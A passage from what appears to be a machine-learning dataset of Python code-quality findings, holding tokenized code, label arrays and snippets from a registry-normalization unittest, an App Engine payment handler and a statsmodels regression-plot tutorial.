"object\\u", "properties_", "(_", "registr", "y", "\\u", "key", "\\u", "obj_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "registr", "y", "\\u", "key", "\\u", "obj_", "._", "values_", "[_", "0_", "]_", "._", "data_", "._", "value_", ",_", "normali", "zed", "\\u", "file", "\\u", "path", "\\u", "string_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Normalization_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "registr", "y", "\\u", "hive", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "hive", "\\u", "string_", "=_", "\"", "HK", "LM", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "normali", "zed", "\\u", "hive", "\\u", "string_", "=_", "\"", "HKEY", "\\u", "LOCAL", "\\u", "MACHINE", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "registr", "y", "\\u", "key", "\\u", "obj_", "=_", "Win", "Regi", "stry", "Key_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "registr", "y", "\\u", "key", "\\u", "obj_", "._", "hive", "_", "=_", "hive", "\\u", "string_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "normali", "ze", "\\u", "object\\u", "properties_", "(_", "registr", "y", "\\u", "key", "\\u", "obj_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "registr", "y", "\\u", "key", "\\u", "obj_", "._", "hive", "_", "._", "value_", ",_", "normali", "zed", "\\u", "hive", "\\u", "string_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Normalization_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "process", "\\u", "image", "\\u", "info", "\\u", "path_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "file", "\\u", "path", "\\u", "string_", "=_", "\"", "C", ":\\\\", "Window", "s", "\\\\", "System", "32", "\\\\", "abc", "d", ".", "dll", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "normali", "zed", "\\u", "file", "\\u", "path", "\\u", "string_", "=_", "\"", "CSI", "DL", "\\u", "SYSTEM", "\\\\", "abc", "d", ".", "dll", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "process", "\\u", "obj_", "=_", "Process_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "process", "\\u", "obj_", "._", "image", "\\u", "info_", "=_", "Image", "Info_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "process", "\\u", "obj_", "._", "image", "\\u", "info_", "._", "path_", "=_", "file", "\\u", "path", "\\u", "string_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "normali", "ze", "\\u", "object\\u", "properties_", "(_", "process", "\\u", "obj_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "process", "\\u", "obj_", "._", "image", "\\u", "info_", "._", "path_", "._", "value_", ",_", "normali", "zed", "\\u", "file", "\\u", "path", "\\u", "string_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2,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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
2cloud/AppEngine/devlinks.py
[ { "content": " def post(self):\n user = auth.getCurrentUser()\n response = {}\n if user:\n try:\n user_data = models.getUser(user)\n except models.UserDoesNotExistError:\n user_data = models.UserData(user=user).save()\n payment_data = models.PaymentData(date=timestamp.now(),\n user=user_data, item=self.request.get(\"item_id\"),\n order_number=self.request.get(\"order_number\"),\n status=\"unconfirmed\")\n payment_data.save()", "metadata": "root.PaymentNotificationHandler.post", "header": "['class', 'PaymentNotificationHandler', '(', 'webapp', '.', 'RequestHandler', ')', ':', '___EOS___']", "index": 332 } ]
[ { "span": "response ", "start_line": 334, "start_column": 8, "end_line": 334, "end_column": 16 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Payment", "Notifi", "cation", "Handler_", "(_", "webapp_", "._", "Request", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "post_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "user_", "=_", "auth_", "._", "get", "Curr", "ent", "User_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "user_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "user", "\\u", "data_", "=_", "models_", "._", "get", "User_", "(_", "user_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "models_", "._", "User", "Do", "es", "Not", "Exist", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "user", "\\u", "data_", "=_", "models_", "._", "User", "Data_", "(_", "user_", "=_", "user_", ")_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "pay", "ment", "\\u", "data_", "=_", "models_", "._", "Payment", "Data_", "(_", "date_", "=_", "timestamp_", "._", "now_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "user_", "=_", "user", "\\u", "data_", ",_", "item_", "=_", "self_", "._", "request_", "._", "get_", "(_", "\"", "item", "\\u", "id", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "order", "\\u", "number_", "=_", "self_", "._", "request_", "._", "get_", "(_", "\"", "order", "\\u", "number", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "status_", "=_", "\"", "unconfi", "rmed", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pay", "ment", "\\u", "data_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Variable defined multiple times
statsmodels/statsmodels/examples/python/regression_plots.py
[ { "content": "\n## Regression Plots\n\nfrom __future__ import print_function\nfrom statsmodels.compat import lzip\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport statsmodels.api as sm\nfrom statsmodels.formula.api import ols\n\n\n### Duncan's Prestige Dataset\n\n#### Load the Data\n\n# We can use a utility function to load any R dataset available from the great <a href=\"http://vincentarelbundock.github.com/Rdatasets/\">Rdatasets package</a>.\n\nprestige = sm.datasets.get_rdataset(\"Duncan\", \"car\", cache=True).data\n\n\nprestige.head()\n\n\nprestige_model = ols(\"prestige ~ income + education\", data=prestige).fit()\n\n\nprint(prestige_model.summary())\n\n\n#### Influence plots\n\n# Influence plots show the (externally) studentized residuals vs. the leverage of each observation as measured by the hat matrix.\n#\n# Externally studentized residuals are residuals that are scaled by their standard deviation where\n#\n# $$var(\\\\hat{\\epsilon}_i)=\\hat{\\sigma}^2_i(1-h_{ii})$$\n#\n# with\n#\n# $$\\hat{\\sigma}^2_i=\\frac{1}{n - p - 1 \\;\\;}\\sum_{j}^{n}\\;\\;\\;\\forall \\;\\;\\; j \\neq i$$\n#\n# $n$ is the number of observations and $p$ is the number of regressors. $h_{ii}$ is the $i$-th diagonal element of the hat matrix\n#\n# $$H=X(X^{\\;\\prime}X)^{-1}X^{\\;\\prime}$$\n#\n# The influence of each point can be visualized by the criterion keyword argument. Options are Cook's distance and DFFITS, two measures of influence.\n\nfig, ax = plt.subplots(figsize=(12,8))\nfig = sm.graphics.influence_plot(prestige_model, ax=ax, criterion=\"cooks\")\n\n\n# As you can see there are a few worrisome observations. Both contractor and reporter have low leverage but a large residual. <br />\n# RR.engineer has small residual and large leverage. Conductor and minister have both high leverage and large residuals, and, <br />\n# therefore, large influence.\n\n#### Partial Regression Plots\n\n# Since we are doing multivariate regressions, we cannot just look at individual bivariate plots to discern relationships. <br />\n# Instead, we want to look at the relationship of the dependent variable and independent variables conditional on the other <br />\n# independent variables. We can do this through using partial regression plots, otherwise known as added variable plots. <br />\n#\n# In a partial regression plot, to discern the relationship between the response variable and the $k$-th variabe, we compute <br />\n# the residuals by regressing the response variable versus the independent variables excluding $X_k$. We can denote this by <br />\n# $X_{\\sim k}$. We then compute the residuals by regressing $X_k$ on $X_{\\sim k}$. The partial regression plot is the plot <br />\n# of the former versus the latter residuals. <br />\n#\n# The notable points of this plot are that the fitted line has slope $\\beta_k$ and intercept zero. The residuals of this plot <br />\n# are the same as those of the least squares fit of the original model with full $X$. You can discern the effects of the <br />\n# individual data values on the estimation of a coefficient easily. If obs_labels is True, then these points are annotated <br />\n# with their observation label. You can also see the violation of underlying assumptions such as homooskedasticity and <br />\n# linearity.\n\nfig, ax = plt.subplots(figsize=(12,8))\nfig = sm.graphics.plot_partregress(\"prestige\", \"income\", [\"income\", \"education\"], data=prestige, ax=ax)\nax = fig.axes[0]\n\nax.set_xlim(-2e-15, 1e-14)\nax.set_ylim(-25, 30);\n\n\nfix, ax = plt.subplots(figsize=(12,14))\nfig = sm.graphics.plot_partregress(\"prestige\", \"income\", [\"education\"], data=prestige, ax=ax)\n\n\n# As you can see the partial regression plot confirms the influence of conductor, minister, and RR.engineer on the partial relationship between income and prestige. The cases greatly decrease the effect of income on prestige. Dropping these cases confirms this.\n\nsubset = ~prestige.index.isin([\"conductor\", \"RR.engineer\", \"minister\"])\nprestige_model2 = ols(\"prestige ~ income + education\", data=prestige, subset=subset).fit()\nprint(prestige_model2.summary())\n\n\n# For a quick check of all the regressors, you can use plot_partregress_grid. These plots will not label the <br />\n# points, but you can use them to identify problems and then use plot_partregress to get more information.\n\nfig = plt.figure(figsize=(12,8))\nfig = sm.graphics.plot_partregress_grid(prestige_model, fig=fig)\n\n\n#### Component-Component plus Residual (CCPR) Plots\n\n# The CCPR plot provides a way to judge the effect of one regressor on the <br />\n# response variable by taking into account the effects of the other <br />\n# independent variables. The partial residuals plot is defined as <br />\n# $\\text{Residuals} + B_iX_i \\text{ }\\text{ }$ versus $X_i$. The component adds $B_iX_i$ versus <br />\n# $X_i$ to show where the fitted line would lie. Care should be taken if $X_i$ <br />\n# is highly correlated with any of the other independent variables. If this <br />\n# is the case, the variance evident in the plot will be an underestimate of <br />\n# the true variance.\n\nfig, ax = plt.subplots(figsize=(12, 8))\nfig = sm.graphics.plot_ccpr(prestige_model, \"education\", ax=ax)\n\n\n# As you can see the relationship between the variation in prestige explained by education conditional on income seems to be linear, though you can see there are some observations that are exerting considerable influence on the relationship. We can quickly look at more than one variable by using plot_ccpr_grid.\n\nfig = plt.figure(figsize=(12, 8))\nfig = sm.graphics.plot_ccpr_grid(prestige_model, fig=fig)\n\n\n#### Regression Plots\n\n# The plot_regress_exog function is a convenience function that gives a 2x2 plot containing the dependent variable and fitted values with confidence intervals vs. the independent variable chosen, the residuals of the model vs. the chosen independent variable, a partial regression plot, and a CCPR plot. This function can be used for quickly checking modeling assumptions with respect to a single regressor.\n\nfig = plt.figure(figsize=(12,8))\nfig = sm.graphics.plot_regress_exog(prestige_model, \"education\", fig=fig)\n\n\n#### Fit Plot\n\n# The plot_fit function plots the fitted values versus a chosen independent variable. It includes prediction confidence intervals and optionally plots the true dependent variable.\n\nfig, ax = plt.subplots(figsize=(12, 8))\nfig = sm.graphics.plot_fit(prestige_model, \"education\", ax=ax)\n\n\n### Statewide Crime 2009 Dataset\n\n# Compare the following to http://www.ats.ucla.edu/stat/stata/webbooks/reg/chapter4/statareg_self_assessment_answers4.htm\n#\n# Though the data here is not the same as in that example. You could run that example by uncommenting the necessary cells below.\n\n#dta = pd.read_csv(\"http://www.stat.ufl.edu/~aa/social/csv_files/statewide-crime-2.csv\")\n#dta = dta.set_index(\"State\", inplace=True).dropna()\n#dta.rename(columns={\"VR\" : \"crime\",\n# \"MR\" : \"murder\",\n# \"M\" : \"pctmetro\",\n# \"W\" : \"pctwhite\",\n# \"H\" : \"pcths\",\n# \"P\" : \"poverty\",\n# \"S\" : \"single\"\n# }, inplace=True)\n#\n#crime_model = ols(\"murder ~ pctmetro + poverty + pcths + single\", data=dta).fit()\n\n\ndta = sm.datasets.statecrime.load_pandas().data\n\n\ncrime_model = ols(\"murder ~ urban + poverty + hs_grad + single\", data=dta).fit()\nprint(crime_model.summary())\n\n\n#### Partial Regression Plots\n\nfig = plt.figure(figsize=(12,8))\nfig = sm.graphics.plot_partregress_grid(crime_model, fig=fig)\n\n\nfig, ax = plt.subplots(figsize=(12,8))\nfig = sm.graphics.plot_partregress(\"murder\", \"hs_grad\", [\"urban\", \"poverty\", \"single\"], ax=ax, data=dta)\n\n\n#### Leverage-Resid<sup>2</sup> Plot\n\n# Closely related to the influence_plot is the leverage-resid<sup>2</sup> plot.\n\nfig, ax = plt.subplots(figsize=(8,6))\nfig = sm.graphics.plot_leverage_resid2(crime_model, ax=ax)\n\n\n#### Influence Plot\n\nfig, ax = plt.subplots(figsize=(8,6))\nfig = sm.graphics.influence_plot(crime_model, ax=ax)\n\n\n#### Using robust regression to correct for outliers.\n\n# Part of the problem here in recreating the Stata results is that M-estimators are not robust to leverage points. MM-estimators should do better with this examples.\n\nfrom statsmodels.formula.api import rlm\n\n\nrob_crime_model = rlm(\"murder ~ urban + poverty + hs_grad + single\", data=dta,\n M=sm.robust.norms.TukeyBiweight(3)).fit(conv=\"weights\")\nprint(rob_crime_model.summary())\n\n\n#rob_crime_model = rlm(\"murder ~ pctmetro + poverty + pcths + single\", data=dta, M=sm.robust.norms.TukeyBiweight()).fit(conv=\"weights\")\n#print(rob_crime_model.summary())\n\n\n# There aren't yet an influence diagnostics as part of RLM, but we can recreate them. (This depends on the status of [issue #888](https://github.com/statsmodels/statsmodels/issues/808))\n\nweights = rob_crime_model.weights\nidx = weights > 0\nX = rob_crime_model.model.exog[idx]\nww = weights[idx] / weights[idx].mean()\nhat_matrix_diag = ww*(X*np.linalg.pinv(X).T).sum(1)\nresid = rob_crime_model.resid\nresid2 = resid**2\nresid2 /= resid2.sum()\nnobs = int(idx.sum())\nhm = hat_matrix_diag.mean()\nrm = resid2.mean()\n\n\nfrom statsmodels.graphics import utils\nfig, ax = plt.subplots(figsize=(12,8))\nax.plot(resid2[idx], hat_matrix_diag, 'o')\nax = utils.annotate_axes(range(nobs), labels=rob_crime_model.model.data.row_labels[idx],\n points=lzip(resid2[idx], hat_matrix_diag), offset_points=[(-5,5)]*nobs,\n size=\"large\", ax=ax)\nax.set_xlabel(\"resid2\")\nax.set_ylabel(\"leverage\")\nylim = ax.get_ylim()\nax.vlines(rm, *ylim)\nxlim = ax.get_xlim()\nax.hlines(hm, *xlim)\nax.margins(0,0)\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "fig ", "start_line": 49, "start_column": 0, "end_line": 49, "end_column": 3 }, { "span": "fig ", "start_line": 82, "start_column": 0, "end_line": 82, "end_column": 3 }, { "span": "fig ", "start_line": 96, "start_column": 0, "end_line": 96, "end_column": 3 }, { "span": "fig ", "start_line": 111, "start_column": 0, "end_line": 111, "end_column": 3 }, { "span": "fig ", "start_line": 117, "start_column": 0, "end_line": 117, "end_column": 3 }, { "span": "fig ", "start_line": 125, "start_column": 0, "end_line": 125, "end_column": 3 }, { "span": "fig ", "start_line": 133, "start_column": 0, "end_line": 133, "end_column": 3 }, { "span": "fig ", "start_line": 166, "start_column": 0, "end_line": 166, "end_column": 3 }, { "span": "fig ", "start_line": 170, "start_column": 0, "end_line": 170, "end_column": 3 }, { "span": "fig ", "start_line": 178, "start_column": 0, "end_line": 178, "end_column": 3 }, { "span": "fig ", "start_line": 184, "start_column": 0, "end_line": 184, "end_column": 3 } ]
[ { "span": "fig,", "start_line": 73, "start_column": 0, "end_line": 73, "end_column": 3 }, { "span": "fig ", "start_line": 95, "start_column": 0, "end_line": 95, "end_column": 3 }, { "span": "fig,", "start_line": 110, "start_column": 0, "end_line": 110, "end_column": 3 }, { "span": "fig ", "start_line": 116, "start_column": 0, "end_line": 116, "end_column": 3 }, { "span": "fig ", "start_line": 124, "start_column": 0, "end_line": 124, "end_column": 3 }, { "span": "fig,", "start_line": 132, "start_column": 0, "end_line": 132, "end_column": 3 }, { "span": "fig ", "start_line": 165, "start_column": 0, "end_line": 165, "end_column": 3 }, { "span": "fig,", "start_line": 169, "start_column": 0, "end_line": 169, "end_column": 3 }, { "span": "fig,", "start_line": 177, "start_column": 0, "end_line": 177, "end_column": 3 }, { "span": "fig,", "start_line": 183, "start_column": 0, "end_line": 183, "end_column": 3 }, { "span": "fig,", "start_line": 219, "start_column": 0, "end_line": 219, "end_column": 3 } ]
1
true
[ "[CLS]_", "Variable_", "defined_", "multiple_", "times_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "Regr", "ession", " ", "Plot", "s_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "\\u\\u", "future\\u\\u_", "import_", "print", "\\u", "function_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "stats", "models_", "._", "compat_", "import_", "lz", "ip_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "numpy_", "as_", "np_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "pandas_", "as_", "pd_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "matplotlib_", "._", "pyplot_", "as_", "plt_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "stats", "models_", "._", "api_", "as_", "sm_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "stats", "models_", "._", "formula_", "._", "api_", "import_", "ols_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###", " ", "Dun", "can", "'", "s", " ", "Prest", "ige", " ", "Dataset_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###", "#", " ", "Load", " ", "the", " ", "Data_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "We", " ", "can", " ", "use", " ", "a", " ", "utility", " ", "function", " ", "to", " ", "load", " ", "any", " ", "R", " ", "dataset", " ", "avail", "able", " ", "from", " ", "the", " ", "great", " ", "<", "a", " ", "href", "=\"", "http", "://", "vin", "cent", "are", "lb", "undo", "ck", ".", "git", "hub", ".", "com", "/", "Rd", "ata", "sets", "/\"", ">", "Rd", "ata", "sets", " ", "package", "</", "a", ">.", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "prest", "ige", "_", "=_", "sm_", "._", "datasets_", "._", "get", "\\u", "rdata", "set_", "(_", "\"", "Dun", "can", "\"_", ",_", "\"", "car", "\"_", ",_", "cache_", "=_", "True_", ")_", "._", "data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "prest", "ige", "_", "._", "head_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "prest", "ige", "\\u", "model_", "=_", "ols_", "(_", "\"", "prest", "ige", " ", "~", " ", "income", " ", "+", " ", "educa", "tion", "\"_", ",_", "data_", "=_", "prest", "ige", "_", ")_", "._", "fit_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "(_", "prest", "ige", "\\u", "model_", "._", "summary_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###", "#", " ", "Influ", "ence", " ", "plots_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Influ", "ence", " ", "plots", " ", "show", " ", "the", " ", "(", "external", "ly", ")", " ", "student", "ize", "d", " ", "residu", "als", " ", "vs", ".", " ", "the", " ", "leve", "rage", " ", "of", " ", "each", " ", "observa", "tion", " ", "as", " ", "measure", "d", " ", "by", " ", "the", " ", "hat", " ", "matrix", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Exter", "nal", "ly", " ", "student", "ize", "d", " ", "residu", "als", " ", "are", " ", "residu", "als", " ", "tha", "t", " ", "are", " ", "scale", "d", " ", "by", " ", "thei", "r", " ", "standard", " ", "deviation", " ", "where_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "$$", "var", "(\\\\\\\\", "hat", "{\\\\", "eps", "ilon", "}\\u", "i", ")=", "\\\\", "hat", "{\\\\", "sigma", "}", "^", "2", "\\u", "i", "(", "1", "-", "h", "\\u{", "ii", "})", "$$", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "with_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "$$", "\\\\", "hat", "{\\\\", "sigma", "}", "^", "2", "\\u", "i", "=\\\\", "frac", "{", "1", "}{", "n", " ", "-", " ", "p", " ", "-", " ", "1", " ", "\\\\", ";\\\\", ";}", "\\\\", "sum", "\\u{", "j", "}", "^", "{", "n", "}\\\\", ";\\\\", ";\\\\", ";\\\\", "fora", "ll", " ", "\\\\", ";\\\\", ";\\\\", ";", " ", "j", " ", "\\\\", "neq", " ", "i", "$$", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "$", "n", "$", " ", "is", " ", "the", " ", "number", " ", "of", " ", "observa", "tion", "s", " ", "and", " ", "$", "p", "$", " ", "is", " ", "the", " ", "number", " ", "of", " ", "regressor", "s", ".", " ", "$", "h", "\\u{", "ii", "}$", " ", "is", " ", "the", " ", "$", "i", "$", "-", "th", " ", "diagonal", " ", "element", " ", "of", " ", "the", " ", "hat", " ", "matrix_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "$$", "H", "=", "X", "(", "X", "^", "{\\\\", ";\\\\", "prim", "e", "}", "X", ")", "^", "{-", "1", "}", "X", "^", "{\\\\", ";\\\\", "prim", "e", "}$", "$", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "influence", " ", "of", " ", "each", " ", "point", " ", "can", " ", "be", " ", "visualize", "d", " ", "by", " ", "the", " ", "criterio", "n", " ", "keyw", "ord", " ", "argu", "ment", ".", " ", "Optio", "ns", " ", "are", " ", "Coo", "k", "'", "s", " ", "distance", " ", "and", " ", "DF", "FIT", "S", ",", " ", "two", " ", "measure", "s", " ", "of", " ", "influence", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "fig_", ",_", "ax_", "=_", "plt_", "._", "subplots_", "(_", "figsize_", "=_", "(_", "12_", ",_", "8_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fig_", "=_", "sm_", "._", "graphics_", "._", "influence", "\\u", "plot_", "(_", "prest", "ige", "\\u", "model_", ",_", "ax_", "=_", "ax_", ",_", "criterion_", "=_", "\"", "cook", "s", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "As", " ", "you", " ", "can", " ", "see", " ", "there", " ", "are", " ", "a", " ", "few", " ", "wor", "ris", "ome", " ", "observa", "tion", "s", ".", " ", "Bot", "h", " ", "contract", "or", " ", "and", " ", "reporter", " ", "have", " ", "low", " ", "leve", "rage", " ", "but", " ", "a", " ", "large", " ", "residu", "al", ".", " ", "<", "br", " ", "/>", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "RR", ".", "engineer", " ", "has", " ", "small", " ", "residu", "al", " ", "and", " ", "large", " ", "leve", "rage", ".", " ", "Conduct", "or", " ", "and", " ", "mini", "ster", " ", "have", " ", "bot", "h", " ", "high", " ", "leve", "rage", " ", "and", " ", "large", " ", "residu", "als", ",", " ", "and", ",", " ", "<", "br", " ", "/>", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "there", "fore", ",", " ", "large", " ", "influence", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###", "#", " ", "Parti", "al", " ", "Regr", "ession", " ", "Plot", "s_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Sin", "ce", " ", "we", " ", "are", " ", "doi", "ng", " ", "multivariate", " ", "regress", "ion", "s", ",", " ", "we", " ", "cann", "ot", " ", "just", " ", "look", " ", "at", " ", "individual", " ", "bi", "varia", "te", " ", "plots", " ", "to", " ", "disc", "ern", " ", "relation", "ships", ".", " ", "<", "br", " ", "/>", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Ins", "tea", "d", ",", " ", "we", " ", "want", " ", "to", " ", "look", " ", "at", " ", "the", " ", "relation", "ship", " ", "of", " ", "the", " ", "dependent", " ", "variab", "le", " ", "and", " ", "independent", " ", "variab", "les", " ", "conditional", " ", "on", " ", "the", " ", "other", " ", "<", "br", " ", "/>", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "independent", " ", "variab", "les", ".", " ", "We", " ", "can", " ", "do", " ", "this", " ", "through", " ", "usi", "ng", " ", "partial", " ", "regress", "ion", " ", "plots", ",", " ", "other", "wis", "e", " ", "know", "n", " ", "as", " ", "adde", "d", " ", "variab", "le", " ", "plots", ".", " ", "<", "br", " ", "/>", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "In", " ", "a", " ", "partial", " ", "regress", "ion", " ", "plot", ",", " ", "to", " ", "disc", "ern", " ", "the", " ", "relation", "ship", " ", "bet", "ween", " ", "the", " ", "response", " ", "variab", "le", " ", "and", " ", "the", " ", "$", "k", "$", "-", "th", " ", "variab", "e", ",", " ", "we", " ", "compute", " ", "<", "br", " ", "/>", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "residu", "als", " ", "by", " ", "regress", "ing", " ", "the", " ", "response", " ", "variab", "le", " ", "vers", "us", " ", "the", " ", "independent", " ", "variab", "les", " ", "excluding", " ", "$", "X", "\\u", "k", "$.", " ", "We", " ", "can", " ", "denote", " ", "this", " ", "by", " ", "<", "br", " ", "/>", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "$", "X", "\\u{\\\\", "sim", " ", "k", "}$", ".", " ", "We", " ", "then", " ", "compute", " ", "the", " ", "residu", "als", " ", "by", " ", "regress", "ing", " ", "$", "X", "\\u", "k", "$", " ", "on", " ", "$", 